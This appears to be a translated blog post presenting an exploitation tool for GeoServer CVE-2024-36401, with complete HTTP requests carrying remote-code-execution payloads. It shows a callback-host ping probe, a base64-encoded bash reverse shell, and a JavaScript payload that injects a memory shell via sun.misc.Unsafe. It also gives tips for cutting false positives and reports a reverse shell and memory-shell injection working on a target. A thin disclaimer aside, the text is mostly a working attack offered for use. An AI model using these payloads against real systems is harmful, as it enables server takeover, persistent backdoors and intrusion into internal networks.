
geoserver CVE-2024-36401漏洞利用工具
GeoServer CVE-2024-36401 Environment: JDK8 Disclaimer: For authorized testing only. The author bears no responsibility for any consequences caused by user misuse. Please comply with laws and regulations!
POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 356
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference> </wfs:GetPropertyValue>
Now notice this: <wfs:Query typeNames='sf:archsites'/>
Here, if you need to extract it using regex, this is a basic identifier of the sf:archsites website. You need to first obtain its
<wfs:ReturnFeatureType>(.*?)</wfs:ReturnFeatureType> information, then you can use string concatenation.
When determining a vulnerability: wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>
Actually, you don’t even need to check DNS records here.
The simple logic is to check for the presence of an abnormal exception class,
such as java.lang.ClassCastException.
Of course, that’s just the detection logic.
The response itself returns 400, which is a common pitfall. You need to examine the error page and search for data.
First, you need to request: <wfs:ListStoredQueries service='WFS'\n" + " version='2.0.0'\n" + " xmlns:wfs='http://www.opengis.net/wfs/2.0'/>
This information allows you to obtain <wfs:ReturnFeatureType>(.*?)</wfs:ReturnFeatureType>.
Then assign it to a string variable, call a function to extract the substring, and concatenate it into the parameter <wfs:Query typeNames='sf:archsites'/>.
This makes the detection logic relatively more accurate. Just write the detection class like that.
If you keep using <wfs:Query typeNames='sf:archsites'/> directly, the false positive rate is high, and you’ll get an error saying it cannot find sf:archsites.
Let's look at the reverse shell payload:
POST /geoserver/wfs HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i Content-Type: application/xml Content-Length: 438
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference> </wfs:GetPropertyValue>
Note here:
<wfs:Query typeNames='sf:archsites'/>
Again, first regex-extract the value and then concatenate it.
Then directly send the request.
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx is base64-encoded.
When coding, take the user input bash -i >& /dev/tcp/127.0.0.1/9999 0>&1, convert it to base64, and that's it.
Then send the request. Similarly, look for the key exception class to determine the logic.
Here: POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 20383
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceeval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),' var str=""; var bt; try { bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str); } catch (e) { bt = java.util.Base64.getDecoder().decode(str); } var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); unsafe = theUnsafe.get(null); unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance(); ')</wfs:valueReference> </wfs:GetPropertyValue>
Here again we have <wfs:Query typeNames='sf:archsites'/> – as before, extract the value first.
At the str="" part, insert your generated base64-encoded memory shell code.
Then determine the logic based on the exception.
<wfs:Query typeNames='sf:archsites'/> repeatedly leads to a 98% false positive rate, with an error like:https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd">
<ows:Exception exceptionCode="InvalidParameterValue" locator="typeName">
<ows:ExceptionText>Could not locate {http://www.openplans.org/spearfish}archsites in catalog.<
When a vulnerability exists:
<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)
class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)</ows:ExceptionText>
</ows:Exception>
In short, a vulnerability is present if java.lang.ClassCastException appears.
A false positive is when Could not locate {http://www.openplans.org/spearfish}archsites in catalog appears.
wfs:ReturnFeatureType>, assign to a string – the string calls a function – send the request, concatenate it in the request, and check the returned exception.Finally, we implemented this exploitation tool.

Let's test the vulnerability.
Tool execution effect:


Note: No response and "vulnerability output does not exist" are the same. If a vulnerability exists, a "+" sign will be shown.
Vulnerability found, reverse shell obtained. Test for online access. If successful, conduct internal network testing.
Optimizations may include adding custom memory shell, batch scanning, etc.

Detected vulnerability, obtained the endpoint, and reverse shell succeeded.
Now let's try memory shell injection.

Shows successful memory shell injection. Let's connect to verify if it's working.

It is connectable.
Note: Testing memory shell: "This GeoServer instance is running version 2.15.2. For more information please contact the..."
Memory shell injection succeeded on this version.
Higher versions may fail. Test others on your own.

Added custom memory shell functionality.

ls test, ping test.